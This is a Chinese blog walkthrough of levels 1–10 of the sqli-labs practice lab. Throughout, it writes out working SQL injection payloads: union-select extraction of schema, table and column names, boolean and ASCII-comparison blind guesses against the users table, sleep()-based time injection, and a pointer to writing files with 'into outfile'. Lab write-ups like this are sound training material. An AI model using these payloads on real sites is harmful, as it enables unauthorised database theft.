sqlilab (1-10)看不懂指南

第一关:

输入id=1'之后页面发生变化,说明可能存在sql注入,接下来输入id=1' -- #(这里 -- 与#都是注释符,不确定那个有用就都写上去了) 将后面的语句注释掉,页面正常回显,说明是单引号闭合注入;

接下来用order by 判断字段数,当输入id=1' order by 4 -- #时页面回显错误,说明有3个字段;

接着用id=123' union select 1,2,3确定有几个显示位;

然后就可以直接爆数据了:id=1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- #(爆数据库名)

id=123' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #(爆数据表名)

id=123' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- #(爆字段)

第二关:

通过页面回显判断为数字注入,接下来方法同上;

第三关:

通过页面回显判断注入点为’)闭合,接下来方法同上;

第四关:

通过页面回显判断注入点为")闭合,接下来方法同上;

第五关:

通过页面回显判断注入点为单引号闭合

同样用order by 判断字段数,当输入id=1' order by 4 -- #时页面回显错误,说明有3个字段;

接着用id=123' union select 1,2,3确定有几个显示位,但是总显示You are in.........,只能利用报错来猜数据了

猜测数据库版本号:
id=1' and left(version(),1)=5--+
猜测数据库长度:
id=1' and length(database())>5--+
猜测数据库名第一位:
id=1' and left(version(),1)>'a'--+
猜测数据库第二位:
id=1' and left(version(),2)>'se'--+
猜测库中的表名:
id=1' and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>101
猜测表中的第一列:
id=1' and 1=(select 1 from information_schema.columns
where table_name='users' and column_name regexp '^us[a-z]' limit 0,1) --+
猜测表中的第一列是否含有username:
id=1' and 1=(select 1 from information_schema.columns
where table_name='users' and column_name regexp '^username' limit 0,1) --+
猜测users表的内容:(获取username中的第一行的第一个字符的ascii,与68进行比较,
即为D。而我们从表中得知第一行的数据为Dumb)
id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)
FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

第六关:通过报错发现注入点为”,其余同上;

第七关:经过无数次尝试注入后发现都失败了,直到输入id=1' and '1后页面回显正常,猜测出注释符被过滤了,并且题目提示有读文件权限;

可以用select ... into outfile 'filename'将需要的代码写入文件中;

第八关:通过回显判断注入点为单引号闭合,但没有报错信息,因此使用sleep()函数进行延时注入,其余同第五关;

第九关:尝试老半天发现页面完全没有变化(心态炸了,还以为没注入点),后来突然一想可以用延时注入判断注入点,最后输入id=1' and sleep(5) -- #得出注入点为单引号闭合,后面同第五关;

第十关:方法同第九关,双引号闭合;

(因为本人太懒,好多重复的就用同上省去了,见谅)

 

 

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值